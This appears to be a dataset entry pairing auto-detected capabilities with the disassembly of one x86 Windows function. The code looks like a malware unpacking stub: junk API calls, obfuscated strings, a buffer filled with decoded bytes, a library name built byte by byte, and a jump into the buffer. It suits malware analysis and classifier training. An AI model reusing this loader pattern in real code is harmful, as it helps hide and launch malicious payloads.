Function at 0x401903
Capabilities:
Get common file path
Get disk size
Get file attributes
Set environment variable

Disassembly:
mov eax, 0x413b99
call fcn.00413960
sub esp, 0xcd8
push ebx
push esi
xor ebx, ebx
push edi
xor esi, esi
mov edi, dword [sym.imp.KERNEL32.dll_GetLastError]
call edi
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
cmp esi, 0xfa62c8f
jge 0x401941
push ebx
call dword [sym.imp.GDI32.dll_GetBkMode]
push ebx
push ebx
push ebx
push ebx
call dword [sym.imp.GDI32.dll_GetCharWidth32A]
cmp esi, 0x207142
jg 0x401952
inc esi
cmp esi, 0x67d12
jl 0x40191a
cmp dword [0x24605dc], 0x93
jne 0x401a3e
push ebx
push ebx
call dword [sym.imp.USER32.dll_GetWindowLongW]
mov esi, dword [sym.imp.GDI32.dll_CreateDCW]
push ebx
push ebx
push ebx
push ebx
call esi
push ebx
push ebx
lea eax, [ebp - 0xce4]
push eax
push ebx
push ebx
call dword [sym.imp.USER32.dll_GetMenuStringW]
push ebx
call dword [sym.imp.USER32.dll_GetSystemMetrics]
push ebx
push ebx
push ebx
push ebx
call dword [sym.imp.USER32.dll_InsertMenuItemA]
push ebx
lea eax, [ebp - 0x4e4]
push eax
push ebx
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_FoldStringA]
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_EnumSystemCodePagesW]
push ebx
push ebx
push ebx
push ebx
call esi
xor eax, eax
lock bts dword [eax], 0
push ebx
push str.vorazemozogimujuw_kasoyapagowuguvit_cowiwiyesudexosuziyapede
push str.zozedoyipemiwufuw_xawumuhiduze_niyesun_werirorovijiyomefaziciyulosiv
call dword [sym.imp.KERNEL32.dll_CreateHardLinkW]
push ebx
lea eax, [ebp - 0x14]
push eax
call dword [sym.imp.KERNEL32.dll_InterlockedExchangeAdd]
push str.tajecatodukekicifopazatowur
lea ecx, [ebp - 0x38]
call fcn.004021cd
push ebx
mov dword [ebp - 4], ebx
call fcn.004049fa
pop ecx
push ebx
push ebx
call fcn.00404a29
push ebx
call fcn.004049e3
add esp, 0xc
lea eax, [ebp - 0xe4]
push eax
call fcn.004024ae
lea ecx, [ebp - 0x84]
call fcn.0040254a
lea eax, [ebp - 0x84]
push eax
mov dword [ebp - 0x84], vtable.std::ios_base.0
call fcn.0040343b
or dword [ebp - 4], 0xffffffff
pop ecx
push ebx
push 1
lea ecx, [ebp - 0x38]
call fcn.00402c25
add dword [0x24605dc], 0x1134b
push dword [0x24605dc]
mov eax, dword [0x44ae34]
push ebx
mov dword [0x2461418], eax
call dword [sym.imp.KERNEL32.dll_LocalAlloc]
mov dword [0x2460068], eax
call fcn.00401889
mov esi, 0x1692e
push ebx
push ebx
call dword [sym.imp.USER32.dll_LoadMenuA]
call edi
dec esi
jne 0x401a6e
mov edi, dword [sym.imp.KERNEL32.dll_LoadLibraryA]
cmp dword [0x24605dc], ebx
jbe 0x401ae2
mov eax, dword [0x2461418]
mov al, byte [eax + esi + 0x1134b]
mov ecx, dword [0x2460068]
mov byte [ecx + esi], al
cmp dword [0x24605dc], 0x490
jne 0x401ad9
push ebx
push ebx
lea eax, [ebp - 0x14]
push eax
call dword [sym.imp.KERNEL32.dll_InterlockedCompareExchange]
push ebx
push ebx
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_GetDiskFreeSpaceExA]
push ebx
call edi
lea eax, [ebp - 0x18]
push eax
push ebx
lea eax, [ebp - 0x30]
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_ReadConsoleInputW]
call dword [sym.imp.KERNEL32.dll_DebugBreak]
inc esi
cmp esi, dword [0x24605dc]
jb 0x401a89
xor esi, esi
mov eax, dword [0x24605dc]
add eax, esi
cmp eax, 0x8d
jne 0x401b25
push ebx
lea eax, [ebp - 0xce4]
push eax
push ebx
push ebx
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_LCMapStringW]
push ebx
push ebx
call dword [sym.imp.USER32.dll_SetMenu]
push str.majocazinaburahelexu
push str.vibajiladidororofaneyobu
call dword [sym.imp.KERNEL32.dll_SetEnvironmentVariableA]
push ebx
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_OpenEventA]
inc esi
cmp esi, 0x38681
jl 0x401ae4
call fcn.00401791
xor esi, esi
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp esi, 0x61
jne 0x401b53
mov dword [ebp - 0x14], ebx
add dword [ebp - 0x14], 0xf32
mov eax, dword [ebp - 0x14]
add dword [0x2460068], eax
inc esi
cmp esi, 0x674bd
jl 0x401b35
push 0x7b
pop esi
cmp dword [0x24605dc], 0x86
jne 0x401bb4
push ebx
call dword [sym.imp.KERNEL32.dll_GetFileAttributesW]
push ebx
lea eax, [ebp - 0xce4]
push eax
push str.bekeyusimeceyohoduciv_wivic_naxelem_halopahosepivipafepa_dajetibuhahaduxutohi
call dword [sym.imp.KERNEL32.dll_GetShortPathNameW]
push ebx
call dword [sym.imp.KERNEL32.dll_LocalCompact]
push ebx
call dword [sym.imp.KERNEL32.dll_UnhandledExceptionFilter]
push ebx
push ebx
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_SetFileTime]
push ebx
call dword [sym.imp.KERNEL32.dll_SetComputerNameA]
push ebx
push ebx
push ebx
lea eax, [ebp - 0x4e4]
push eax
call dword [sym.imp.KERNEL32.dll_GetTempFileNameA]
cmp dword [0x24605dc], 0xf
jne 0x401bc8
push ebx
lea eax, [ebp - 0x1c]
push eax
call dword [sym.imp.KERNEL32.dll_InterlockedExchange]
dec esi
jne 0x401b5f
push 0x44dee8
mov dword [0x44def0], 0x6c6c64
mov word [0x44deee], 0x2e32
mov byte [0x44dee8], 0x6d
mov byte [0x44deed], 0x33
mov dword [0x44dee9], 0x676d6973
call edi
call dword [0x2460068]
mov ecx, dword [ebp - 0xc]
pop edi
pop esi
mov dword fs:[0], ecx
pop ebx
leave
ret